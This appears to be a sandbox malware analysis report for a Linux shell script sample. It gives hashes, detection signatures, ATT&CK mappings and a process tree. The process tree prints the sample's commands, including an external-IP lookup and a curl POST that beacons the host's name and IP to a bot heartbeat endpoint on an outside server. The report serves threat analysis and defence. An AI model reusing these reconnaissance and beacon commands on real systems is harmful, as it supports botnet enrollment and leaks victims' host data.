ee84f10299b24b3098f68a237ac80e23ed954c3766ad27896530ca0c2a3aba87

Analysis

max time kernel
22s
max time network
23s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/09/2026, 17:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
Size 832KB
Sample260913-vkeyqssxhy
SHA256 ee84f10299b24b3098f68a237ac80e23ed954c3766ad27896530ca0c2a3aba87
MD5 1a5ee1eebc8c6c2353a2a4e731175a5c
SHA1 f6b5ce8f8b21a092f0c5546d22b5e9ebce91984a
SHA512 6c7079d611d688098affa28f1a208f26b88d7e02b7c5ba43713752d844792e6e5cc407547ce2c420577e3784c721555a037678bdbc17670e2bb766138d1a3c6a
SSDEEP 24576:+4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeo:w/o8ZatHiw5ycMVmKkeo
TLSH
T1D8052308F11B8C38ED4E3C8CE49EEBDD092560A28B55E1875A6534AE7E347DC807A75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery

Malware Config

Signatures

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	api.ipify.org
1	api.ipify.org

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
668	curl

/tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
/tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
1⤵
PID:644
- /usr/bin/awk
  awk "-F\"" "/IOPlatformUUID/{print \$4}"
  2⤵
  - Reads runtime system information
  PID:652
- /bin/hostname
  hostname
  2⤵
  PID:662
- /usr/bin/curl
  curl -s https://api.ipify.org
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:668
- /usr/bin/curl
  curl -s -X POST https://pilautfile.com/api/bot/heartbeat -H "Content-Type: application/json" -d "{\"bot_id\":\"\",\"build_id\":\"d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f\",\"hostname\":\"debian9-armhf-20260513-en-1\",\"ip\":\"85.203.46.129\",\"os_version\":\"\"}"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:679
- /bin/sed
  sed -n "s/.*\"code\":\"\$[^\"]*\$\".*/\\1/p"
  2⤵
  - Reads runtime system information
  PID:762

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads